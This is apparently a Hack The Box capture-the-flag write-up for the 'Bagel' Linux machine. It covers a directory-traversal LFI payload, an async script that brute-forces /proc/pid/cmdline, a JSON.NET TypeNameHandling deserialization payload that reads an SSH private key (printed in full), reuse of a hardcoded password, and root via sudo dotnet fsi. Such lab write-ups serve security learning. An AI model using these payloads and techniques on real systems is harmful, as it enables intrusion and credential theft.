Bagel Writeup

03 June 2023 #CTF #HTB #box #medium #linux

bagel info

Try to crop properly challenge (i lost).

Enumeration

nmap

$ sudo nmap -sC -sV 10.10.11.201
[...]
# Nmap 7.93 scan initiated Fri May 19 15:18:17 2023 as: /usr/bin/nmap -v -n -Pn -T4 -p 22,5000,8000, -sC -sV -oN enum/scripts-tcp.nmap 10.10.11.201
Nmap scan report for 10.10.11.201
Host is up (0.022s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.8 (protocol 2.0)
| ssh-hostkey: 
|   256 6e4e1341f2fed9e0f7275bededcc68c2 (ECDSA)
|_  256 80a7cd10e72fdb958b869b1b20652a98 (ED25519)
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 400 Bad Request
|     Server: Microsoft-NetCore/2.0
|     Date: Fri, 19 May 2023 13:18:28 GMT
|     Connection: close
|   HTTPOptions: 
|     HTTP/1.1 400 Bad Request
|     Server: Microsoft-NetCore/2.0
|     Date: Fri, 19 May 2023 13:18:43 GMT
|     Connection: close
|   Help, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/html
|     Server: Microsoft-NetCore/2.0
|     Date: Fri, 19 May 2023 13:18:54 GMT
|     Content-Length: 52
|     Connection: close
|     Keep-Alive: true
|     <h1>Bad Request (Invalid request line (parts).)</h1>
|   RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/html
|     Server: Microsoft-NetCore/2.0
|     Date: Fri, 19 May 2023 13:18:28 GMT
|     Content-Length: 54
|     Connection: close
|     Keep-Alive: true
|_    <h1>Bad Request (Invalid request line (version).)</h1>
8000/tcp open  http-alt Werkzeug/2.2.2 Python/3.10.9
| http-methods: 
|_  Supported Methods: HEAD OPTIONS GET
|_http-server-header: Werkzeug/2.2.2 Python/3.10.9
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 NOT FOUND
|     Server: Werkzeug/2.2.2 Python/3.10.9
|     Date: Fri, 19 May 2023 13:18:28 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 207
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.1 302 FOUND
|     Server: Werkzeug/2.2.2 Python/3.10.9
|     Date: Fri, 19 May 2023 13:18:23 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 263
|     Location: http://bagel.htb:8000/?page=index.html
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>Redirecting...</title>
|     <h1>Redirecting...</h1>
|     <p>You should be redirected automatically to the target URL: <a href="http://bagel.htb:8000/?page=index.html">http://bagel.htb:8000/?page=index.html</a>. If not, click the link.
|   Socks5: 
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request syntax ('
|     ').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
|_http-title: Did not follow redirect to http://bagel.htb:8000/?page=index.html
[...]

HTTP

After adding bagel.htb to /etc/hosts, we get a basic page:

index page

We see an interesting page parameter. We can get LFI with a simple directory traversal payload:

$ curl --path-as-is '10.10.11.201:8000/?page=../../../../etc/passwd'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
[...]

We know from the Server header that this is a python app, and we can get the source code at ../app.py:

from flask import Flask, request, send_file, redirect, Response
import os.path
import websocket,json

app = Flask(__name__)

@app.route('/')
def index():
    if 'page' in request.args:
        page = 'static/'+request.args.get('page')
        if os.path.isfile(page):
            resp=send_file(page)
            resp.direct_passthrough = False
            if os.path.getsize(page) == 0:
                resp.headers["Content-Length"]=str(len(resp.get_data()))
            return resp
        else:
            return "File not found"
    else:
        return redirect('http://bagel.htb:8000/?page=index.html', code=302)

@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
    try:
        ws = websocket.WebSocket()    
        ws.connect("ws://127.0.0.1:5000/") # connect to order app
        order = {"ReadOrder":"orders.txt"}
        data = str(json.dumps(order))
        ws.send(data)
        result = ws.recv()
        return(json.loads(result)['ReadOrder'])
    except:
        return("Unable to connect")

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)

Process Enumeration

The comment above suggests that the app on port 5000 is a .NET DLL that needs to be ran with dotnet <filename>.dll.

We can use the LFI to bruteforce each /proc/<pid>/cmdline to see where that DLL is located (so we can download and analyze it).

Here is a little python script that uses the asyncio and aiohttp modules to do that (it takes forever if you do it synchronously):

import asyncio, aiohttp

target = "http://bagel.htb:8000/"

async def getprocess(session, pid):
    param = {
        "page": f"../../../../proc/{pid}/cmdline"
    }
    async with session.get(target, params=param) as res:
        if res.status != 200:
            print(f"failed to get pid: {pid}")
        else:
            out = await res.text()
            if out != "File not found" and len(out) != 0:
                out = out.replace("\x00", " ")
                print(f"{pid:5} -> {out}")

async def main():
    async with aiohttp.ClientSession() as session:
        tasks = []
        for pid in range(1, 8000):
            tasks.append((getprocess(session, pid)))
        await asyncio.gather(*tasks)

try:
    asyncio.run(main())
except KeyboardInterrupt:
    pass

Here we go:

$ python3 lfi-ps.py
[...]
891 -> dotnet /opt/bagel/bin/Debug/net6.0/bagel.dll
[...]

Cool, we found the absolute path to the DLL. Now download it with curl:

$ curl --path-as-is -o bagel.dll 'bagel.hbt:8000/?page=../../../../opt/bagel/bin/Debug/net6.0/bagel.dll' -s

Foothold

.NET Reversing

We can use a .NET decompiler like dnSpy (Windows only) to get the C# code.

There is a hardcoded password in the DB class:

public class DB {
    [Obsolete("The production team has to decide where the database server will be hosted. This method is not fully implemented.")]
    public void DB_connection() {
        string text = "Data Source=ip;Initial Catalog=Orders;User ID=dev;Password=k8wdAYYKyhnjg3K";
        SqlConnection sqlConnection = new SqlConnection(text);
    }
}

However, we can't use SSH with a password:

$ ssh dev@10.10.11.201
[...]
dev@10.10.11.201: Permission denied (publickey,gssapi-keyex,gssapi-with-mic).

It only accepts public/private keys (and some other stuff).

The JSON input is deserialized by this function:

public object Deserialize(string json) {
    object result;
    try {
        result = JsonConvert.DeserializeObject<Base>(json, new JsonSerializerSettings {
            TypeNameHandling = 4
        });
    } catch {
        result = "{\"Message\":\"unknown\"}";
    }
    return result;
}

It's converting the JSON into an instance of the Base class. This class inherits (which is weird for a class called Base) from another class called Orders:

public class Base : Orders
{
    [...]

This Orders class has a public setter ReadOrder which is the one the flask app is interacting with:

public string ReadOrder
{
    get
    {
        return this.file.ReadFile;
    }
    set
    {
        this.order_filename = value;
        this.order_filename = this.order_filename.Replace("/", "");
        this.order_filename = this.order_filename.Replace("..", "");
        this.file.ReadFile = this.order_filename;
    }
}

It protects against directory traversal and since the Replace is broken down in two calls, I don't think there is a way to bypass it.

It's then calling another setter ReadFile on the File class:

public string ReadFile
{
    get
    {
        return this.file_content;
    }
    set
    {
        this.filename = value;
        this.ReadContent(this.directory + this.filename);
    }
}

public void ReadContent(string path)
{
    try
    {
        IEnumerable<string> values = File.ReadLines(path, Encoding.UTF8);
        this.file_content += string.Join("\n", values);
    }
    catch (Exception ex)
    {
        this.file_content = "Order not found!";
    }
}
[...]
private string directory = "/opt/bagel/orders/";

private string filename = "orders.txt";

This setter will try to read a file on a hardcoded path based on the filename we give it as argument. There are no directory traversal protections in place in this case.

JSON.NET Deserialization

The interesting part is TypeNameHandling (in the JsonConvert.DeserializeObject call) set to 4 which is Auto (docs). This means that we can specify type metadata in our JSON object.

In order to exploit it, we need to find a gadget in the Base or Orders classes. There is one in Orders:

public object RemoveOrder { get; set; }

It is perfect for us because it is a public getter/setter with an object type. The object type is a generic type, meaning we can "cast" it to anything we want.

In our case, we want it to be a File object in order to use the ReadFile setter to read files on the server (we can't use it directly because it only wants Base or Orders objects).

Here is the payload to read Phil's private SSH key:

{
    "RemoveOrder": {
        "$type": "bagel_server.File, bagel",
        "ReadFile": "../../../../home/phil/.ssh/id_rsa"
    }
}

We say that RemoveOrder is a File object, and we use the ReadFile setter to read the SSH key with a directory traversal payload.

Here is a research paper with much more detailed explanations (and better ones).

We can interact with the websocket server with a tools like wscat (install the node-ws package):

$ wscat -c ws://bagel.htb:5000
Connected (press CTRL+C to quit)
> {"RemoveOrder":{"$type":"bagel_server.File, bagel","ReadFile":"../../../../home/phil/.ssh/id_rsa"}}
< {
  "UserId": 0,
  "Session": "Unauthorized",
  "Time": "8:12:56",
  "RemoveOrder": {
    "$type": "bagel_server.File, bagel",
    "ReadFile": "-----BEGIN OPENSSH PRIVATE KEY-----\n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\nnrEIIvsBGmrx0AAAAKcGhpbEBiYWdlbAE=\n-----END OPENSSH PRIVATE KEY-----",
    "WriteFile": null
  },
  "WriteOrder": null,
  "ReadOrder": null
}

We just have to replace all \n with an actual new line and chmod 0600 the key to be able to use it.

Privesc

Phill to Developer

We can use the password (k8wdAYYKyhnjg3K) we found hardcoded in the DLL to log in as developer:

[phill@bagel ~]$ su -l developer
Password:
[developer@bagel ~]$ whoami
developer

Developer to root

Developer can run sudo:

[developer@bagel ~]$ sudo -l
Matching Defaults entries for developer on bagel:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/var/lib/snapd/snap/bin

User developer may run the following commands on bagel:
    (root) NOPASSWD: /usr/bin/dotnet

dotnet is in GTFOBins:

sudo dotnet fsi
[...]
> System.Diagnostics.Process.Start("/bin/bash").WaitForExit();;
[root@bagel developer]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

The fsi command drops us into an interactive shell where we can execute arbitrary .NET code.

Key Takeaways